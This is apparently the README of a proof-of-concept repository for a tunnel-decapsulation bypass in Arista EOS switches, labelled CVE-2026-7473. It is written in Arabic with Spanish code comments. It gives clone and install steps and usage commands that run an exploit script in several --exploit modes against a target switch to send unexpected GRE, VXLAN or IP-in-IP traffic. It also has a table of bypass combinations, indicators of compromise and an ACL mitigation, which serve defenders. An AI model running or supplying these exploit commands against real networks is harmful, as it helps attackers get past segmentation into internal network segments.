# Verificar VXLAN VTEP
show interfaces vxlan 1

# Verificar GRE tunnel
show interfaces Tunnel0

# Verificar decap-groups
show ip decap-group
🚀 الاستخدام
التثبيت
bash
git clone https://github.com/username/CVE-2026-7473-Arista-EOS-Tunnel-Bypass
cd CVE-2026-7473-Arista-EOS-Tunnel-Bypass
pip install -r requirements.txt
فحص الإعداد المتأثر
bash
python3 arista_tunnel_bypass.py -t 10.1.1.1 -d 192.168.1.100 --check-config
إرسال حركة GRE إلى محوّل مُهيأ بـ VXLAN
bash
python3 arista_tunnel_bypass.py -t 10.1.1.1 -d 192.168.1.100 --exploit vxlan-gre
إرسال حركة VXLAN إلى محوّل مُهيأ بـ GRE
bash
python3 arista_tunnel_bypass.py -t 10.1.1.1 -d 192.168.1.100 --exploit gre-vxlan
إرسال جميع أنواع التجاوز
bash
python3 arista_tunnel_bypass.py -t 10.1.1.1 -d 192.168.1.100 --exploit all
📊 مصفوفة الاستغلال
| الإعداد	حركة المرور غير المتوقعة	هل يفك التغليف؟
| VXLAN IPv4	GRE	✅ نعم
| VXLAN IPv4	IPoIP	✅ نعم
| GRE IPv4	VXLAN	✅ نعم
| GRE IPv4	IPoIP	✅ نعم
| GRE Decap Group	IPoIP	✅ نعم
| GUE Decap Group	GRE, IPoIP	✅ نعم
| IP-in-IP Decap Group	GRE, NVGRE, VXLAN	✅ نعم
🔍 مؤشرات الاختراق (IOCs)
المراقبة على المحوّل
```bash
# Verificar ACL counters
show mac access-lists bar

# Buscar tráfico inesperado
show log | grep -E "GRE|VXLAN|GUE|unexpected"
على الشبكة
- ظهور حركة مرور مُغلّفة في قطاعات داخلية غير متوقعة

- حزم GRE عندما يكون VXLAN هو المُهيأ فقط

- حزم VXLAN عندما يكون GRE هو المُهيأ فقط

🛡️ التخفيف
الخيار 1 - قائمة التحكم في الوصول (ACL) على المحوّلات العلوية (موصى به)
```bash
# Ejemplo: Permitir solo VXLAN
ip access-list foo
   counters per-entry
   1 permit udp any host <vxlan-decap-ip> eq 4789
   2 deny ip any host <decap-ip>
   3 permit ip any any